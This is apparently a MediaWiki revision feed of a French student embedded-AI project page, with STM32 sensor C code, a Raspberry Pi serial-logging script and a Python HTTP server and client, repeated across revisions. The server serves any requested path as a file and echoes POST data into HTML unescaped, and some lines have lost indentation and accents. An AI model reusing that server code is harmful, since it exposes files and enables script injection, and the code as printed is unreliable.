		if (Result-&amp;gt;ZoneResult[j+k].NumberOfTargets &amp;gt; 0)&lt;br /&gt;
		  printf(&amp;quot;%ld &amp;quot;,(long)Result-&amp;gt;ZoneResult[j+k].Distance[l]);&lt;br /&gt;
		else&lt;br /&gt;
		  printf(&amp;quot;%ld &amp;quot;, -1);&lt;br /&gt;
	  }&lt;br /&gt;
	}&lt;br /&gt;
  }&lt;br /&gt;
  printf(&amp;quot;\n&amp;quot;);&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Code de récupération de donnée (sur la raspberry) ==&lt;br /&gt;
Nous avons le scénario suivant : le capteur qui envoie en continue les données de distance à la raspberry via la liaison série.&lt;br /&gt;
&lt;br /&gt;
Nous avons donc écrit un script python afin de récupérer ces données, les formatter dans un fichier format json dans le but de les envoyer sur la VM qui pourra traiter ces données avec l'émulateur obtenue via l'application NanoEdgeAI Studio.&lt;br /&gt;
&lt;br /&gt;
Nous allons vous expliquez le script que nous avons réalisés :&amp;lt;syntaxhighlight lang=&amp;quot;python3&amp;quot; line=&amp;quot;1&amp;quot;&amp;gt;&lt;br /&gt;
import serial&lt;br /&gt;
from threading import Thread, Event&lt;br /&gt;
from time import sleep&lt;br /&gt;
import os, sys, signal&lt;br /&gt;
import datetime&lt;br /&gt;
import glob&lt;br /&gt;
&lt;br /&gt;
interruptAllEvent = Event()&lt;br /&gt;
&lt;br /&gt;
def serial_thread(ser: serial) -&amp;gt; None:&lt;br /&gt;
    fileName_old = os.path.dirname(__file__) + &amp;quot;/data/sensor_data_start&amp;quot;&lt;br /&gt;
    while (1):&lt;br /&gt;
        if (interruptAllEvent.is_set()):&lt;br /&gt;
            break&lt;br /&gt;
        fileName = os.path.dirname(__file__) + &amp;quot;/data/sensor_data_&amp;quot; + datetime.datetime.now().strftime(&amp;quot;%d_%m_%Y__%H_%M_00&amp;quot;) + &amp;quot;.json&amp;quot;&lt;br /&gt;
&lt;br /&gt;
        if (fileName_old != fileName):&lt;br /&gt;
            with open(fileName_old, &amp;quot;a&amp;quot;) as fichier:&lt;br /&gt;
                fichier.write(&amp;quot;\&amp;quot;}&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
        string = str(ser.readline(), encoding='utf-8')&lt;br /&gt;
&lt;br /&gt;
        with open(fileName, &amp;quot;a&amp;quot;) as fichier:&lt;br /&gt;
            if (fileName_old != fileName):&lt;br /&gt;
                fileName_old = fileName&lt;br /&gt;
                fichier.write(&amp;quot;{\&amp;quot;date\&amp;quot;:\&amp;quot;&amp;quot;+datetime.datetime.now().strftime(&amp;quot;%d/%m/%Y-%H:%M:00&amp;quot;)+&amp;quot;\&amp;quot;,\&amp;quot;csv_file\&amp;quot;:\&amp;quot;&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
            fichier.write(string)        &lt;br /&gt;
        &lt;br /&gt;
def signal_handler(sig, frame):&lt;br /&gt;
    interruptAllEvent.set()&lt;br /&gt;
    return&lt;br /&gt;
&lt;br /&gt;
def main() -&amp;gt; None:&lt;br /&gt;
    ser = serial.Serial('/dev/ttyACM0', 460800)&lt;br /&gt;
    thread = Thread(target=serial_thread, args=(ser,))&lt;br /&gt;
&lt;br /&gt;
    thread.start()&lt;br /&gt;
&lt;br /&gt;
    signal.signal(signal.SIGINT, signal_handler)   &lt;br /&gt;
&lt;br /&gt;
    sleep(5)&lt;br /&gt;
    os.remove(os.path.dirname(__file__) + &amp;quot;/data/sensor_data_start&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
    while (1):&lt;br /&gt;
        if interruptAllEvent.is_set():&lt;br /&gt;
            thread.join()&lt;br /&gt;
            break&lt;br /&gt;
&lt;br /&gt;
        sleep(5)&lt;br /&gt;
&lt;br /&gt;
        minute = datetime.datetime.now().minute - 1&lt;br /&gt;
        hours = datetime.datetime.now().hour&lt;br /&gt;
        if (minute &amp;lt; 0):&lt;br /&gt;
            minute = minute + 60&lt;br /&gt;
            hours = hours - 1&lt;br /&gt;
        try:&lt;br /&gt;
            with open(os.path.dirname(__file__) + &amp;quot;/data/sensor_data_&amp;quot; + datetime.datetime.now().strftime(&amp;quot;%d_%m_%Y__&amp;quot;) + str(hours) + &amp;quot;_&amp;quot; + str(minute) + &amp;quot;_00.json&amp;quot;, &amp;quot;r+&amp;quot;) as fichier:&lt;br /&gt;
                line = fichier.read()&lt;br /&gt;
                str(line).replace('\n','\\\n')&lt;br /&gt;
                fichier.write(line)&lt;br /&gt;
        except FileNotFoundError:&lt;br /&gt;
            sleep(60)&lt;br /&gt;
&lt;br /&gt;
        file_to_keep = []&lt;br /&gt;
        for i in range(0,10):&lt;br /&gt;
            minute = datetime.datetime.now().minute - i&lt;br /&gt;
            hours = datetime.datetime.now().hour&lt;br /&gt;
            if (minute &amp;lt; 0):&lt;br /&gt;
                minute = minute + 60&lt;br /&gt;
                hours = hours - 1&lt;br /&gt;
            path_string = os.path.dirname(__file__) + &amp;quot;/data/sensor_data_&amp;quot; + datetime.datetime.now().strftime(&amp;quot;%d_%m_%Y__&amp;quot;) + str(hours) + &amp;quot;_&amp;quot; + str(minute) + &amp;quot;_00.json&amp;quot;&lt;br /&gt;
            file_to_keep.append(path_string)&lt;br /&gt;
&lt;br /&gt;
        files = glob.glob(os.path.dirname(__file__) + &amp;quot;/data/*&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
        files_to_remove = []&lt;br /&gt;
&lt;br /&gt;
        for file_name in files:&lt;br /&gt;
            beRemoved = True&lt;br /&gt;
            for f_keep in file_to_keep:&lt;br /&gt;
                if file_name == f_keep:&lt;br /&gt;
                    beRemoved = False&lt;br /&gt;
                    break&lt;br /&gt;
            if beRemoved:&lt;br /&gt;
                files_to_remove.append(file_name)&lt;br /&gt;
&lt;br /&gt;
        for file_name in files_to_remove:&lt;br /&gt;
            os.remove(file_name)&lt;br /&gt;
&lt;br /&gt;
        &lt;br /&gt;
&lt;br /&gt;
if __name__ == '__main__':&lt;br /&gt;
        main()&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;/div&gt;</summary>
		<author><name>Bnguyen1</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=SE5_ECEAI/eceai_2023/2024/Brenier-Nguyen&amp;diff=3670</id>
		<title>SE5 ECEAI/eceai 2023/2024/Brenier-Nguyen</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=SE5_ECEAI/eceai_2023/2024/Brenier-Nguyen&amp;diff=3670"/>
		<updated>2023-12-20T16:53:01Z</updated>

		<summary type="html">&lt;p&gt;Bnguyen1 : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;* Séance 1 :&lt;br /&gt;
** Création et configuration de la VM sur Chassiron&lt;br /&gt;
** Installation de NanoEdge&lt;br /&gt;
** Installation de STM32cube&lt;br /&gt;
** Installation de l'OS pour la Raspberry dans la carte micro SD&lt;br /&gt;
** Prise en main de Nanoedge, de nucléo et de STM32cube&lt;br /&gt;
** Début de réflexion sur l'application (métrologie)&lt;br /&gt;
*Séance 2:&lt;br /&gt;
**Mise en place du serveur python&lt;br /&gt;
**Mise en place du client python&lt;br /&gt;
**Test réussi de communication entre client et serveur via http&lt;br /&gt;
**Programmation de la carte nucléo pour transfert de valeur via liaison série&lt;br /&gt;
**Suite réflexion sur l'application (reconnaissance alphabet langue des signes, mouvement)&lt;br /&gt;
**Choix de l'application : reconnaissance d'objets appliqué aux fournitures scolaires&lt;br /&gt;
**Entraînement des modèles pour les différentes applications cités précédemment&lt;br /&gt;
**Finalement : entraînement à la reconnaissance d'objets de fournitures scolaires&lt;br /&gt;
*Séance 3:&lt;br /&gt;
**Entraînement d'un nouveau modèle.&lt;br /&gt;
**Écriture d'un programme permettant de récupérer les données du capteur et de les écrire dans un fichier.&lt;br /&gt;
*Séance 4 :&lt;br /&gt;
**Essai d'utilisation de la librairie créée grâce à Nanoedge.&lt;br /&gt;
**Amélioration du programme python permettant de récupérer les données du capteur.&lt;br /&gt;
***Création d'un fichier .txt afin de stocker les données du capteur toutes les minutes.&lt;br /&gt;
***Destruction automatique des fichiers de données ayant été crée il y a plus de 10 minutes.&lt;br /&gt;
**L’émulateur de la librairie ne fonctionne pas s'il est exécuté dans la raspberry... Nous l'exécutons désormais directement dans notre VM.&lt;br /&gt;
**Pour cela nous avons adapter notre programme python afin de récupérer les données à partir d'un json pour traiter ces données dans la VM.&lt;br /&gt;
***Création d'un fichier toutes les minutes (contenant au format json la date et les données au format csv)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;Code du serveur Python :&amp;lt;/b&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;python3&amp;quot;&amp;gt;&lt;br /&gt;
from http.server import HTTPServer, BaseHTTPRequestHandler&lt;br /&gt;
&lt;br /&gt;
import json&lt;br /&gt;
&lt;br /&gt;
import socket&lt;br /&gt;
&lt;br /&gt;
# Stocker les requ  tes POST re  ues&lt;br /&gt;
&lt;br /&gt;
post_requests = []&lt;br /&gt;
&lt;br /&gt;
class CustomHTTPHandler(BaseHTTPRequestHandler):&lt;br /&gt;
&lt;br /&gt;
   def do_GET(self):&lt;br /&gt;
&lt;br /&gt;
       if self.path == '/':&lt;br /&gt;
&lt;br /&gt;
           self.path = '/index.html'&lt;br /&gt;
&lt;br /&gt;
       if self.path == '/data':&lt;br /&gt;
&lt;br /&gt;
           self.send_response(200)&lt;br /&gt;
&lt;br /&gt;
           self.send_header('Content-type', 'application/json')&lt;br /&gt;
&lt;br /&gt;
           self.end_headers()&lt;br /&gt;
&lt;br /&gt;
           self.wfile.write(bytes(json.dumps(post_requests), 'utf-8'))&lt;br /&gt;
&lt;br /&gt;
           return&lt;br /&gt;
&lt;br /&gt;
if self.path == '/index.html':&lt;br /&gt;
&lt;br /&gt;
           self.send_response(200)&lt;br /&gt;
&lt;br /&gt;
           self.send_header('Content-type', 'text/html')&lt;br /&gt;
&lt;br /&gt;
           self.end_headers()&lt;br /&gt;
&lt;br /&gt;
           # Cr  er le contenu HTML avec les donn  es POST&lt;br /&gt;
&lt;br /&gt;
           content = '&amp;lt;html&amp;gt;&amp;lt;body&amp;gt;&amp;lt;h1&amp;gt;Donn  es POST:&amp;lt;/h1&amp;gt;&amp;lt;ul&amp;gt;'&lt;br /&gt;
&lt;br /&gt;
           for item in post_requests:&lt;br /&gt;
&lt;br /&gt;
               content += f'&amp;lt;li&amp;gt;{item}&amp;lt;/li&amp;gt;'&lt;br /&gt;
&lt;br /&gt;
           content += '&amp;lt;/ul&amp;gt;&amp;lt;/body&amp;gt;&amp;lt;/html&amp;gt;'&lt;br /&gt;
&lt;br /&gt;
           self.wfile.write(content.encode('utf-8'))&lt;br /&gt;
&lt;br /&gt;
           return&lt;br /&gt;
&lt;br /&gt;
       try:&lt;br /&gt;
&lt;br /&gt;
file_to_open = open(self.path[1:]).read()&lt;br /&gt;
&lt;br /&gt;
           self.send_response(200)&lt;br /&gt;
&lt;br /&gt;
           self.send_header('Content-type', 'text/html')&lt;br /&gt;
&lt;br /&gt;
           self.end_headers()&lt;br /&gt;
&lt;br /&gt;
           self.wfile.write(bytes(file_to_open, 'utf-8'))&lt;br /&gt;
&lt;br /&gt;
       except FileNotFoundError:&lt;br /&gt;
&lt;br /&gt;
           self.send_error(404, 'File Not Found: %s' % self.path)&lt;br /&gt;
&lt;br /&gt;
   def do_POST(self):&lt;br /&gt;
&lt;br /&gt;
       content_length = int(self.headers['Content-Length'])&lt;br /&gt;
&lt;br /&gt;
       post_data = self.rfile.read(content_length).decode('utf-8')&lt;br /&gt;
&lt;br /&gt;
       # Ajouter les donn  es POST    la liste&lt;br /&gt;
&lt;br /&gt;
       post_requests.append(post_data)&lt;br /&gt;
&lt;br /&gt;
       # Envoyer une rponse HTTP&lt;br /&gt;
&lt;br /&gt;
       self.send_response(200)&lt;br /&gt;
&lt;br /&gt;
       self.end_headers()&lt;br /&gt;
&lt;br /&gt;
self.wfile.write(b&amp;quot;POST request processed&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
class HTTPServerV6(HTTPServer):&lt;br /&gt;
&lt;br /&gt;
   address_family = socket.AF_INET6&lt;br /&gt;
&lt;br /&gt;
if __name__ == '__main__':&lt;br /&gt;
&lt;br /&gt;
   server_address = ('::', 8888)  #  ^icoute sur toutes les interfaces IPv6, p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
   httpd = HTTPServerV6(server_address, CustomHTTPHandler)&lt;br /&gt;
&lt;br /&gt;
   print(&amp;quot;Serveur actif sur le port&amp;quot;, 8888)&lt;br /&gt;
&lt;br /&gt;
   httpd.serve_forever() &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;'''Code du client Python :'''&amp;lt;syntaxhighlight lang=&amp;quot;python3&amp;quot;&amp;gt;&lt;br /&gt;
import argparse                                                                                                                            &lt;br /&gt;
import requests                                                                                                                            &lt;br /&gt;
import json                                                                                                                                &lt;br /&gt;
                                                                                                                                           &lt;br /&gt;
def send_json_to_server(url, json_file):                                                                                                   &lt;br /&gt;
    # Charger les données CSV depuis le fichier spécifié                                                                                   &lt;br /&gt;
    with open(json_file, 'r') as file:                                                                                                     &lt;br /&gt;
        data = json.load(file)                                                                                                             &lt;br /&gt;
                                                                                                                                           &lt;br /&gt;
    # En-têtes spécifiant que vous envoyez du CSV                                                                                          &lt;br /&gt;
    headers = {'Content-Type': 'application/json'}                                                                                         &lt;br /&gt;
                                                                                                                                           &lt;br /&gt;
    # Envoie de la requête HTTP POST avec les données                                                                                      &lt;br /&gt;
    response = requests.post(url, data=json.dumps(data), headers=headers)                                                                  &lt;br /&gt;
                                                                                                                                           &lt;br /&gt;
    # Vérification de la réponse                                                                                                           &lt;br /&gt;
    if response.status_code == 200:                                                                                                        &lt;br /&gt;
        print('Requête envoyée avec succès!')                                                                                              &lt;br /&gt;
    else:                                                                                                                                  &lt;br /&gt;
        print(f'Erreur {response.status_code}: {response.text}')                                                                           &lt;br /&gt;
                                                                                                                                           &lt;br /&gt;
if __name__ == &amp;quot;__main__&amp;quot;:                                                                                                                 &lt;br /&gt;
    # Configurer les arguments en ligne de commande                                                                                        &lt;br /&gt;
    parser = argparse.ArgumentParser(description='Client Python pour envoyer des JSON via HTTP.')                                          &lt;br /&gt;
    parser.add_argument('url', type=str, help='URL du serveur')                                                                            &lt;br /&gt;
    parser.add_argument('json_file', type=str, help='Chemin vers le fichier JSON à envoyer')                                               &lt;br /&gt;
                                                                                                                                           &lt;br /&gt;
    # Analyser les arguments                                                                                                               &lt;br /&gt;
    args = parser.parse_args()                                                                                                             &lt;br /&gt;
                                                                                                                                           &lt;br /&gt;
    # Appeler la fonction pour envoyer le JSON au serveur                                                                                  &lt;br /&gt;
    send_json_to_server(args.url, args.json_file) &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;'''Index permettant d'afficher le json de test que nous avons envoyé au serveur :'''&amp;lt;syntaxhighlight lang=&amp;quot;html&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;!DOCTYPE html&amp;gt;&lt;br /&gt;
&amp;lt;html lang=&amp;quot;en&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;head&amp;gt;&lt;br /&gt;
    &amp;lt;meta charset=&amp;quot;UTF-8&amp;quot;&amp;gt;&lt;br /&gt;
    &amp;lt;title&amp;gt;Page d'Accueil&amp;lt;/title&amp;gt;&lt;br /&gt;
&amp;lt;/head&amp;gt;&lt;br /&gt;
&amp;lt;body&amp;gt;&lt;br /&gt;
    &amp;lt;h1&amp;gt;Bienvenue sur Mon Serveur&amp;lt;/h1&amp;gt;&lt;br /&gt;
    &amp;lt;h2&amp;gt;Données POST reçues:&amp;lt;/h2&amp;gt;&lt;br /&gt;
    &amp;lt;ul id=&amp;quot;data&amp;quot;&amp;gt;&lt;br /&gt;
        &amp;lt;!-- Les données POST seront listées ici --&amp;gt;&lt;br /&gt;
    &amp;lt;/ul&amp;gt;&lt;br /&gt;
&amp;lt;/body&amp;gt;&lt;br /&gt;
&amp;lt;/html&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;'''Capture montrant l'affichage d'un fichier json (sans aucun sens) envoyé au serveur depuis le client :'''&lt;br /&gt;
[[Fichier:CaptureIndexBrenierNguyen.png|vignette|Démonstration du protocole HTTP]]&lt;br /&gt;
&lt;br /&gt;
== Flash du capteur sur le logiciel STM32CubeIDE ==&lt;br /&gt;
Le code ci-dessous est la fonction qui est appelé pour le traitement des capteurs.&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
static void MX_53L5A1_SimpleRanging_Process(void)&lt;br /&gt;
{&lt;br /&gt;
  uint32_t Id;&lt;br /&gt;
&lt;br /&gt;
  VL53L5A1_RANGING_SENSOR_ReadID(VL53L5A1_DEV_CENTER, &amp;amp;Id);&lt;br /&gt;
  VL53L5A1_RANGING_SENSOR_GetCapabilities(VL53L5A1_DEV_CENTER, &amp;amp;Cap);&lt;br /&gt;
&lt;br /&gt;
  Profile.RangingProfile = RS_PROFILE_8x8_CONTINUOUS;&lt;br /&gt;
  Profile.TimingBudget = TIMING_BUDGET; /* 5 ms &amp;lt; TimingBudget &amp;lt; 100 ms */&lt;br /&gt;
  Profile.Frequency = RANGING_FREQUENCY; /* Ranging frequency Hz (shall be consistent with TimingBudget value) */&lt;br /&gt;
  Profile.EnableAmbient = 0; /* Enable: 1, Disable: 0 */&lt;br /&gt;
  Profile.EnableSignal = 0; /* Enable: 1, Disable: 0 */&lt;br /&gt;
&lt;br /&gt;
  /* set the profile if different from default one */&lt;br /&gt;
  VL53L5A1_RANGING_SENSOR_ConfigProfile(VL53L5A1_DEV_CENTER, &amp;amp;Profile);&lt;br /&gt;
&lt;br /&gt;
  status = VL53L5A1_RANGING_SENSOR_Start(VL53L5A1_DEV_CENTER, RS_MODE_BLOCKING_CONTINUOUS);&lt;br /&gt;
&lt;br /&gt;
  if (status != BSP_ERROR_NONE)&lt;br /&gt;
  {&lt;br /&gt;
    printf(&amp;quot;VL53L5A1_RANGING_SENSOR_Start failed\n&amp;quot;);&lt;br /&gt;
    while (1);&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
  while (1)&lt;br /&gt;
  {&lt;br /&gt;
    /* polling mode */&lt;br /&gt;
    status = VL53L5A1_RANGING_SENSOR_GetDistance(VL53L5A1_DEV_CENTER, &amp;amp;Result);&lt;br /&gt;
&lt;br /&gt;
    if (status == BSP_ERROR_NONE)&lt;br /&gt;
    {&lt;br /&gt;
      //print_result(&amp;amp;Result);&lt;br /&gt;
      print_result_IE(&amp;amp;Result);&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
    if (com_has_data())&lt;br /&gt;
    {&lt;br /&gt;
      handle_cmd(get_key());&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
    HAL_Delay(POLLING_PERIOD);&lt;br /&gt;
  }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Le code ci-dessous est la fonction qui nous permet d'afficher les données des capteurs via la liaison série.&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
static void print_result_IE(RANGING_SENSOR_Result_t *Result)&lt;br /&gt;
{&lt;br /&gt;
  int8_t j;&lt;br /&gt;
  int8_t k;&lt;br /&gt;
  int8_t l;&lt;br /&gt;
  uint8_t zones_per_line;&lt;br /&gt;
&lt;br /&gt;
  zones_per_line = ((Profile.RangingProfile == RS_PROFILE_8x8_AUTONOMOUS) ||&lt;br /&gt;
		 (Profile.RangingProfile == RS_PROFILE_8x8_CONTINUOUS)) ? 8 : 4;&lt;br /&gt;
&lt;br /&gt;
  for (j = 0; j &amp;lt; Result-&amp;gt;NumberOfZones; j += zones_per_line)&lt;br /&gt;
  {&lt;br /&gt;
	for (l = 0; l &amp;lt; RANGING_SENSOR_NB_TARGET_PER_ZONE; l++)&lt;br /&gt;
	{&lt;br /&gt;
	  /* Print distance and status */&lt;br /&gt;
	  for (k = (zones_per_line - 1); k &amp;gt;= 0; k--)&lt;br /&gt;
	  {&lt;br /&gt;
		if (Result-&amp;gt;ZoneResult[j+k].NumberOfTargets &amp;gt; 0)&lt;br /&gt;
		  printf(&amp;quot;%ld &amp;quot;,(long)Result-&amp;gt;ZoneResult[j+k].Distance[l]);&lt;br /&gt;
		else&lt;br /&gt;
		  printf(&amp;quot;%ld &amp;quot;, -1);&lt;br /&gt;
	  }&lt;br /&gt;
	}&lt;br /&gt;
  }&lt;br /&gt;
  printf(&amp;quot;\n&amp;quot;);&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Code de récupération de donnée (sur la raspberry) ==&lt;br /&gt;
Nous avons le scénario suivant : le capteur qui envoie en continue les données de distance à la raspberry via la liaison série.&lt;br /&gt;
&lt;br /&gt;
Nous avons donc écrit un script python afin de récupérer ces données, les formatter dans un fichier format json dans le but de les envoyer sur la VM qui pourra traiter ces données avec l'émulateur obtenue via l'application NanoEdgeAI Studio.&lt;br /&gt;
&lt;br /&gt;
Nous allons vous expliquez le script que nous avons réalisés :&amp;lt;syntaxhighlight lang=&amp;quot;python3&amp;quot; line=&amp;quot;1&amp;quot;&amp;gt;&lt;br /&gt;
import serial&lt;br /&gt;
from threading import Thread, Event&lt;br /&gt;
from time import sleep&lt;br /&gt;
import os, sys, signal&lt;br /&gt;
import datetime&lt;br /&gt;
import glob&lt;br /&gt;
&lt;br /&gt;
interruptAllEvent = Event()&lt;br /&gt;
&lt;br /&gt;
def serial_thread(ser: serial) -&amp;gt; None:&lt;br /&gt;
    fileName_old = os.path.dirname(__file__) + &amp;quot;/data/sensor_data_start&amp;quot;&lt;br /&gt;
    while (1):&lt;br /&gt;
        if (interruptAllEvent.is_set()):&lt;br /&gt;
            break&lt;br /&gt;
        fileName = os.path.dirname(__file__) + &amp;quot;/data/sensor_data_&amp;quot; + datetime.datetime.now().strftime(&amp;quot;%d_%m_%Y__%H_%M_00&amp;quot;) + &amp;quot;.json&amp;quot;&lt;br /&gt;
&lt;br /&gt;
        if (fileName_old != fileName):&lt;br /&gt;
            with open(fileName_old, &amp;quot;a&amp;quot;) as fichier:&lt;br /&gt;
                fichier.write(&amp;quot;\&amp;quot;}&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
        string = str(ser.readline(), encoding='utf-8')&lt;br /&gt;
&lt;br /&gt;
        with open(fileName, &amp;quot;a&amp;quot;) as fichier:&lt;br /&gt;
            if (fileName_old != fileName):&lt;br /&gt;
                fileName_old = fileName&lt;br /&gt;
                fichier.write(&amp;quot;{\&amp;quot;date\&amp;quot;:\&amp;quot;&amp;quot;+datetime.datetime.now().strftime(&amp;quot;%d/%m/%Y-%H:%M:00&amp;quot;)+&amp;quot;\&amp;quot;,\&amp;quot;csv_file\&amp;quot;:\&amp;quot;&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
            fichier.write(string)        &lt;br /&gt;
        &lt;br /&gt;
def signal_handler(sig, frame):&lt;br /&gt;
    interruptAllEvent.set()&lt;br /&gt;
    return&lt;br /&gt;
&lt;br /&gt;
def main() -&amp;gt; None:&lt;br /&gt;
    ser = serial.Serial('/dev/ttyACM0', 460800)&lt;br /&gt;
    thread = Thread(target=serial_thread, args=(ser,))&lt;br /&gt;
&lt;br /&gt;
    thread.start()&lt;br /&gt;
&lt;br /&gt;
    signal.signal(signal.SIGINT, signal_handler)   &lt;br /&gt;
&lt;br /&gt;
    sleep(5)&lt;br /&gt;
    os.remove(os.path.dirname(__file__) + &amp;quot;/data/sensor_data_start&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
    while (1):&lt;br /&gt;
        if interruptAllEvent.is_set():&lt;br /&gt;
            thread.join()&lt;br /&gt;
            break&lt;br /&gt;
&lt;br /&gt;
        sleep(5)&lt;br /&gt;
&lt;br /&gt;
        minute = datetime.datetime.now().minute - 1&lt;br /&gt;
        hours = datetime.datetime.now().hour&lt;br /&gt;
        if (minute &amp;lt; 0):&lt;br /&gt;
            minute = minute + 60&lt;br /&gt;
            hours = hours - 1&lt;br /&gt;
        try:&lt;br /&gt;
            with open(os.path.dirname(__file__) + &amp;quot;/data/sensor_data_&amp;quot; + datetime.datetime.now().strftime(&amp;quot;%d_%m_%Y__&amp;quot;) + str(hours) + &amp;quot;_&amp;quot; + str(minute) + &amp;quot;_00.json&amp;quot;, &amp;quot;r+&amp;quot;) as fichier:&lt;br /&gt;
                line = fichier.read()&lt;br /&gt;
                str(line).replace('\n','\\\n')&lt;br /&gt;
                fichier.write(line)&lt;br /&gt;
        except FileNotFoundError:&lt;br /&gt;
            sleep(60)&lt;br /&gt;
&lt;br /&gt;
        file_to_keep = []&lt;br /&gt;
        for i in range(0,10):&lt;br /&gt;
            minute = datetime.datetime.now().minute - i&lt;br /&gt;
            hours = datetime.datetime.now().hour&lt;br /&gt;
            if (minute &amp;lt; 0):&lt;br /&gt;
                minute = minute + 60&lt;br /&gt;
                hours = hours - 1&lt;br /&gt;
            path_string = os.path.dirname(__file__) + &amp;quot;/data/sensor_data_&amp;quot; + datetime.datetime.now().strftime(&amp;quot;%d_%m_%Y__&amp;quot;) + str(hours) + &amp;quot;_&amp;quot; + str(minute) + &amp;quot;_00.json&amp;quot;&lt;br /&gt;
            file_to_keep.append(path_string)&lt;br /&gt;
&lt;br /&gt;
        files = glob.glob(os.path.dirname(__file__) + &amp;quot;/data/*&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
        files_to_remove = []&lt;br /&gt;
&lt;br /&gt;
        for file_name in files:&lt;br /&gt;
            beRemoved = True&lt;br /&gt;
            for f_keep in file_to_keep:&lt;br /&gt;
                if file_name == f_keep:&lt;br /&gt;
                    beRemoved = False&lt;br /&gt;
                    break&lt;br /&gt;
            if beRemoved:&lt;br /&gt;
                files_to_remove.append(file_name)&lt;br /&gt;
&lt;br /&gt;
        for file_name in files_to_remove:&lt;br /&gt;
            os.remove(file_name)&lt;br /&gt;
&lt;br /&gt;
        &lt;br /&gt;
&lt;br /&gt;
if __name__ == '__main__':&lt;br /&gt;
        main()&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;/div&gt;</summary>
		<author><name>Bnguyen1</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=SE5_ECEAI/eceai_2023/2024/Brenier-Nguyen&amp;diff=3608</id>
		<title>SE5 ECEAI/eceai 2023/2024/Brenier-Nguyen</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=SE5_ECEAI/eceai_2023/2024/Brenier-Nguyen&amp;diff=3608"/>
		<updated>2023-12-20T14:38:57Z</updated>

		<summary type="html">&lt;p&gt;Bnguyen1 : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;* Séance 1 :&lt;br /&gt;
** Création et configuration de la VM sur Chassiron&lt;br /&gt;
** Installation de NanoEdge&lt;br /&gt;
** Installation de STM32cube&lt;br /&gt;
** Installation de l'OS pour la Raspberry dans la carte micro SD&lt;br /&gt;
** Prise en main de Nanoedge, de nucléo et de STM32cube&lt;br /&gt;
** Début de réflexion sur l'application (métrologie)&lt;br /&gt;
*Séance 2:&lt;br /&gt;
**Mise en place du serveur python&lt;br /&gt;
**Mise en place du client python&lt;br /&gt;
**Test réussi de communication entre client et serveur via http&lt;br /&gt;
**Programmation de la carte nucléo pour transfert de valeur via liaison série&lt;br /&gt;
**Suite réflexion sur l'application (reconnaissance alphabet langue des signes, mouvement)&lt;br /&gt;
**Choix de l'application : reconnaissance d'objets appliqué aux fournitures scolaires&lt;br /&gt;
**Entraînement des modèles pour les différentes applications cités précédemment&lt;br /&gt;
**Finalement : entraînement à la reconnaissance d'objets de fournitures scolaires&lt;br /&gt;
*Séance 3:&lt;br /&gt;
**Entraînement d'un nouveau modèle.&lt;br /&gt;
**Écriture d'un programme permettant de récupérer les données du capteur et de les écrire dans un fichier.&lt;br /&gt;
*Séance 4 :&lt;br /&gt;
**Essai d'utilisation de la librairie créée grâce à Nanoedge.&lt;br /&gt;
**Amélioration du programme python permettant de récupérer les données du capteur.&lt;br /&gt;
***Création d'un fichier .txt afin de stocker les données du capteur toutes les minutes.&lt;br /&gt;
***Destruction automatique des fichiers de données ayant été crée il y a plus de 10 minutes.&lt;br /&gt;
**L’émulateur de la librairie ne fonctionne pas si il est exécuté dans la raspberry... Nous l'exécutons désormais directement dans notre VM.&lt;br /&gt;
**Pour cela nous avons adapter notre programme python afin de récupérer les données à partir d'un json pour traiter ces données dans la VM.&lt;br /&gt;
***Création d'un fichier toutes les minutes (contenant au format json la date et les données au format csv)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;Code du serveur Python :&amp;lt;/b&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;python3&amp;quot;&amp;gt;&lt;br /&gt;
from http.server import HTTPServer, BaseHTTPRequestHandler&lt;br /&gt;
&lt;br /&gt;
import json&lt;br /&gt;
&lt;br /&gt;
import socket&lt;br /&gt;
&lt;br /&gt;
# Stocker les requ  tes POST re  ues&lt;br /&gt;
&lt;br /&gt;
post_requests = []&lt;br /&gt;
&lt;br /&gt;
class CustomHTTPHandler(BaseHTTPRequestHandler):&lt;br /&gt;
&lt;br /&gt;
   def do_GET(self):&lt;br /&gt;
&lt;br /&gt;
       if self.path == '/':&lt;br /&gt;
&lt;br /&gt;
